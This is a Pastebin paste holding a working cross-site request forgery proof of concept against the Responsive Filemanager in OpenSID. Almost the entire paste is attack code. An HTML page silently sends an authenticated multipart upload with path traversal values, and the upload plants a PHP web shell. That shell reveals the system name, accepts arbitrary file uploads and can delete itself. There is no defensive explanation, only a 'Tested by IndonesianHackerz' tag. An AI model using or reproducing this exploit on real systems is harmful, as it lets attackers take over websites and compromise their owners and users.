ToKeiChun

CSRF Responsive Filemanager OpenSID

Jun 14th, 2020
410
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.03 KB | None | 0 0
  1. <html>
  2. <!-- CSRF PoC - generated by Burp Suite Professional -->
  3. <body>
  4. <script>
  5. function submitRequest()
  6. {
  7. var xhr = new XMLHttpRequest();
  8. xhr.open("POST", "http://target.com/assets/filemanager/upload.php", true);
  9. xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  10. xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
  11. xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
  12. xhr.withCredentials = "true";
  13. var body = "-----------------------------256672629917035\r\n" +
  14. "Content-Disposition: form-data; name=\"path\"\r\n" +
  15. "\r\n" +
  16. "../../desa/upload/media/\r\n" +
  17. "-----------------------------256672629917035\r\n" +
  18. "Content-Disposition: form-data; name=\"path_thumb\"\r\n" +
  19. "\r\n" +
  20. "../../desa/upload/thumbs/\r\n" +
  21. "-----------------------------256672629917035\r\n" +
  22. "Content-Disposition: form-data; name=\"file\"; filename=\"uploader.php<\?.txt\"\r\n" +
  23. "Content-Type: text/plain\r\n" +
  24. "\r\n" +
  25. "Tested by IndonesianHackerz;<\?php echo php_uname(); if(isset($_FILES[\'f\'][\'name\'])){$name = $_FILES[\'f\'][\'name\'];$n2 = $_FILES[\'f\'][\'tmp_name\'];@move_uploaded_file($n2, $name); echo $name;}else{ echo \"<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit value=\'>>>\'>\";} if(isset($_GET[\'del\'])) { unlink(basename($_SERVER[PHP_SELF]));} ?>\r\n" +
  26. "-----------------------------256672629917035--\r\n";
  27. var aBody = new Uint8Array(body.length);
  28. for (var i = 0; i < aBody.length; i++)
  29. aBody[i] = body.charCodeAt(i);
  30. xhr.send(new Blob([aBody]));
  31. }
  32. </script>
  33. <form action="#">
  34. <input type="submit" value="Submit request" onclick="submitRequest();" />
  35. </form>
  36. </body>
  37. </html>
Add Comment
Please, Sign In to add comment